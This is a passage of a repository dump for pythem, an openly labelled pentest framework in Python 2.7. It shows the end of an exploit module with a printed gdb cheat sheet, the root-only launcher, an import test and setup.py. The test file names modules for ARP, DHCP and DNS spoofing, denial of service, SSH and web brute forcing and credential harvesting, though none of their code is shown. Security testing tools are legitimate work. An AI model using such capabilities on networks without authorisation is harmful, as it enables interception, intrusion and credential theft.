669 | print "|_______________________________________|____________________________________________|"
670 | print " ____________________________________________________________________________________ "
671 | print "|Manipulating the program: |Running: |"
672 | print "|---------------------------------------|--------------------------------------------|"
673 | print "|set var = |run / r |"
674 | print "|return |kill / k |"
675 | print "|jump | |"
676 | print "|_______________________________________|____________________________________________|"
677 | print " ____________________________________________________________________________________ "
678 | print "|Variables and memory: |Informations: |"
679 | print "|---------------------------------------|--------------------------------------------|"
680 | print "|print/format |disassemble / disas |"
681 | print "|display/format |disassemble / disas |"
682 | print "|undisplay |info args |"
683 | print "|enable display |info breakpoints |"
684 | print "|disable display |info display |"
685 | print "|x/nf |info locals |"
686 | print "|n:how many units to print |info sharedlibrary |"
687 | print "|f: format character |info threads |"
688 | print "| |info directories |"
689 | print "| |info registers |"
690 | print "| |whatis variable_name |"
691 | print "|_______________________________________|____________________________________________|"
692 | print " ____________________________________________________________________________________ "
693 | print "|Watchpoints: |Stepping: |"
694 | print "|---------------------------------------|--------------------------------------------|"
695 | print "|watch |step / s |"
696 | print "|delete/enable/disable |next / n |"
697 | print "| |finish / f |"
698 | print "| |continue / c |"
699 | print "|_______________________________________|____________________________________________|"
700 | print " ____________________________________________________________________________________ "
701 | print "|Breakpoints: | Examining the stack: |"
702 | print "|---------------------------------------|--------------------------------------------|"
703 | print "| break / br | backtrace / bt |"
704 | print "| delete | where |"
705 | print "| clear | backtrace full |"
706 | print "| enable | where full |"
707 | print "| disable | frame |"
708 | print "|_______________________________________|____________________________________________|"
709 |
710 |
711 | if __name__ == "__main__":
712 | try:
713 | if sys.argv[1]:
714 | xploit = Exploit(sys.argv[1], "stdin")
715 | xploit.start()
716 | except:
717 | xploit = Exploit(None, "stdin")
718 | xploit.start()
719 |
--------------------------------------------------------------------------------
/pythem/pythem:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 | # coding=UTF-8
3 |
4 | # Copyright (c) 2016-2018 Angelo Moura
5 | #
6 | # This file is part of the program pythem
7 | #
8 | # pythem is free software; you can redistribute it and/or
9 | # modify it under the terms of the GNU General Public License as
10 | # published by the Free Software Foundation; either version 3 of the
11 | # License, or (at your option) any later version.
12 | #
13 | # This program is distributed in the hope that it will be useful, but
14 | # WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
16 | # General Public License for more details.
17 | # You should have received a copy of the GNU General Public License
18 | # along with this program; if not, write to the Free Software
19 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
20 | # USA
21 |
22 | import os
23 | import sys
24 | from pythem.core.interface import Processor
25 | from pythem.modules.utils import banner, color
26 |
27 | version = "0.8.2"
28 | Processor = Processor()
29 |
30 | if __name__ == '__main__':
31 | if os.geteuid() != 0:
32 | sys.exit("[-] Only for roots kido! ")
33 | try:
34 | print banner(version)
35 | print color("by: ", "blue") + color("m4n3dw0lf", "red")
36 | print
37 | Processor.start()
38 | except Exception as e:
39 | print "[!] Exception caught: {}".format(e)
40 |
--------------------------------------------------------------------------------
/pythem/tests/test_module_imports.py:
--------------------------------------------------------------------------------
1 | import logging
2 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
3 | logging.getLogger("scapy.loading").setLevel(logging.ERROR)
4 |
5 | import unittest
6 |
7 | class TestModuleImports(unittest.TestCase):
8 | def test_redirect_import(self):
9 | from pythem.modules.redirect import Redirect
10 | def test_arpspoof_import(self):
11 | from pythem.modules.arpoisoner import ARPspoof
12 | def test_dhcpspoof_import(self):
13 | from pythem.modules.dhcpoisoner import DHCPspoof
14 | def test_completer_import(self):
15 | from pythem.modules.completer import Completer
16 | def test_dnsspoof_import(self):
17 | from pythem.modules.dnspoisoner import DNSspoof
18 | def test_dos_import(self):
19 | from pythem.modules.dos import DOSer
20 | def test_fuzzer_import(self):
21 | from pythem.modules.fuzzer import SimpleFuzz
22 | def test_cracker_import(self):
23 | from pythem.modules.hashcracker import HashCracker
24 | def test_pforensic_import(self):
25 | from pythem.modules.pforensic import PcapReader
26 | def test_scanner_import(self):
27 | from pythem.modules.scanner import Scanner
28 | def test_sniffer_import(self):
29 | from pythem.modules.sniffer import Sniffer
30 | def test_sshbrute_import(self):
31 | from pythem.modules.ssh_bruter import SSHbrutus
32 | def test_webbrute_import(self):
33 | from pythem.modules.web_bruter import WEBbrutus
34 | def test_webcrawler_import(self):
35 | from pythem.modules.webcrawler import WebCrawler
36 | def test_xploit_import(self):
37 | from pythem.modules.xploit import Exploit
38 | def test_utils_functions(self):
39 | from pythem.modules.utils import decode
40 | from pythem.modules.utils import encode
41 | from pythem.modules.utils import credentials
42 | from pythem.modules.utils import credentials_harvest
43 | from pythem.modules.utils import banner
44 | from pythem.modules.utils import get_mymac
45 | from pythem.modules.utils import get_myip
46 | from pythem.modules.utils import pw_regex
47 | from pythem.modules.utils import user_regex
48 | from pythem.modules.utils import module_check
49 | from pythem.modules.utils import iptables
50 | from pythem.modules.utils import cookiedecode
51 | from pythem.modules.utils import set_ip_forwarding
52 | from pythem.modules.utils import print_help
53 | def test_interface_import(self):
54 | from pythem.core import interface
55 |
56 | if __name__ == "__main__":
57 | unittest.main()
58 |
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 | #coding=UTF-8
3 |
4 | # Copyright (c) 2016-2018 Angelo Moura
5 | #
6 | # This file is part of the program pythem
7 | #
8 | # pythem is free software; you can redistribute it and/or
9 | # modify it under the terms of the GNU General Public License as
10 | # published by the Free Software Foundation; either version 3 of the
11 | # License, or (at your option) any later version.
12 | #
13 | # This program is distributed in the hope that it will be useful, but
14 | # WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
16 | # General Public License for more details.
17 | # You should have received a copy of the GNU General Public License
18 | # along with this program; if not, write to the Free Software
19 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
20 | # USA
21 |
22 |
23 | from distutils.cmd import Command
24 | from setuptools import setup
25 |
26 | class TestCommand(Command):
27 | user_options = []
28 |
29 | def initialize_options(self):
30 | pass
31 |
32 | def finalize_options(self):
33 | pass
34 |
35 | def test(self):
36 | import os, sys, subprocess
37 | print ()
38 | tests = os.listdir('pythem/tests')
39 | for file in sorted(tests):
40 | if file.endswith('.py') and file != "full_test.py":
41 | new_test = subprocess.call([sys.executable, 'pythem/tests/'+file])
42 | if new_test != 0:
43 | break
44 |
45 | def run(self):
46 | raise SystemExit(self.test())
47 |
48 | setup(
49 | name='pythem',
50 | packages=['pythem','pythem/modules','pythem/core'],
51 | version='0.8.2',
52 | description="pentest framework",
53 | author='Angelo Moura',
54 | author_email='m4n3dw0lf@gmail.com',
55 | url='https://github.com/m4n3dw0lf/pythem',
56 | download_url='https://github.com/m4n3dw0lf/pythem/archive/0.8.1.tar.gz',
57 | keywords=['pythem', 'pentest', 'framework', 'hacking'],
58 | install_requires=['NetfilterQueue==0.8.1','pyOpenSSL>=16.2.0','decorator>=4.0.10','ecdsa>=0.13','mechanize>=0.2.5','netaddr>=0.7.18','requests>=2.10.0','scapy>=2.3.2','six>=1.10.0','update-checker>=0.11','cffi>=1.7.0','pycparser>=2.14','pyasn1>=0.1.9','paramiko>=2.0.1','capstone>=3.0.4','ropper>=1.10.7','termcolor>=1.1.0','psutil>=4.3.0'],
59 | dependency_links=[
60 | "git+git://git@github.com/kti/python-netfilterqueue@0.8.1#egg=NetfilterQueue-0.8.1"
61 | ],
62 | cmdclass=dict(test=TestCommand),
63 | scripts=['pythem/pythem'],
64 | )
65 |
--------------------------------------------------------------------------------